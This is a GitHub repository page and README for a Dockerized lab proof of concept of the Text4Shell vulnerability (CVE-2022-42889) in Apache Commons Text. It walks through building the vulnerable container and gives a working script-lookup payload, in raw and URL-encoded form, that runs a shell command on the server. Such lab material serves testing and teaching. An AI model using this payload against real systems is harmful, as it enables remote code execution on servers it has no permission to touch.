https://github.com/karthikuj/cve-2022-42889-text4shell-docker
Dockerized POC for CVE-2022-42889 Text4Shell
https://github.com/karthikuj/cve-2022-42889-text4shell-docker
act4shell apache commons cve cve-2022-42889 poc text4shell
Last synced: about 1 year ago
JSON representation
Dockerized POC for CVE-2022-42889 Text4Shell
- Host: GitHub
- URL: https://github.com/karthikuj/cve-2022-42889-text4shell-docker
- Owner: karthikuj
- Created: 2022-10-18T09:58:00.000Z (over 3 years ago)
- Default Branch: master
- Last Pushed: 2022-11-14T17:12:41.000Z (over 3 years ago)
- Last Synced: 2024-10-11T00:46:49.076Z (over 1 year ago)
- Topics: act4shell, apache, commons, cve, cve-2022-42889, poc, text4shell
- Language: Java
- Homepage:
- Size: 3.91 KB
- Stars: 75
- Watchers: 1
- Forks: 32
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
### Install maven - [maven-linux](https://www.digitalocean.com/community/tutorials/install-maven-linux-ubuntu)
-------------
1. Maven install to create the fat jar
```
mvn clean install
```
2. Docker build
```
docker build --tag=text4shell .
```
3. Docker run
```
docker run -p 80:8080 text4shell
```
4. Test the app
```
http://localhost/text4shell/attack?search=
```
5. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
```
http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
6. You can also try using `dns` or `url` prefixes.
7. Get the container id
```
docker container ls
```
8. Get into the app
```
docker exec -it bash
```
9. To check if above RCE was successful (You should see a file named `foo` created in the `/tmp` directory):
```
ls /tmp/
```
10. To stop the container
```
docker container stop
```